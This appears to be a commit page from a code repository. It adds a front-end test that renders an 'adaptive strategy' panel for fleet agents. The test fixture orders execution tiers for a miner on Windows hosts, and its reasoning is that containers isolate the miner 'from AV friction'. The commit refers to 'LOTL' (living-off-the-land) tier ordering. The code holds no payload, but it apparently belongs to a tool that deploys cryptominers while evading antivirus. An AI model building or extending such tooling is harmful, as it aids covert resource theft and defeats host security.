Add fleet adaptive strategy engine for proactive LOTL tier ordering
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
@@ -155,6 +155,31 @@ describe('AccessDepthPanel', () => {
|
||||
expect(await screen.findByText('WinRM')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('renders adaptive strategy reasoning fixtures', () => {
|
||||
renderPanel(
|
||||
mockAgent({ platform: 'windows', status: 'online' }),
|
||||
parseAccessDepthDiagnostics({
|
||||
adaptive_strategy: {
|
||||
tier_order: ['container', 'docker_load', 'wsl', 'cpu_inprocess'],
|
||||
skip_tiers: ['exe_subprocess'],
|
||||
confidence: 0.72,
|
||||
reasoning: [
|
||||
{
|
||||
fact: 'Docker runtime available on Windows host',
|
||||
inference: 'Container tier isolates miner from AV friction',
|
||||
action: 'Prefer container before raw subprocess',
|
||||
},
|
||||
],
|
||||
},
|
||||
}),
|
||||
);
|
||||
expect(screen.getByText('Strategy')).toBeInTheDocument();
|
||||
expect(screen.getByText('Adaptive')).toBeInTheDocument();
|
||||
expect(screen.getByText('AI path')).toBeInTheDocument();
|
||||
expect(screen.getByText(/Docker runtime available/i)).toBeInTheDocument();
|
||||
expect(screen.getByText(/confidence 72%/i)).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('shows pending chain when tiers not yet attempted', () => {
|
||||
renderPanel(
|
||||
mockAgent({
|
||||
|
||||
Reference in New Issue
Block a user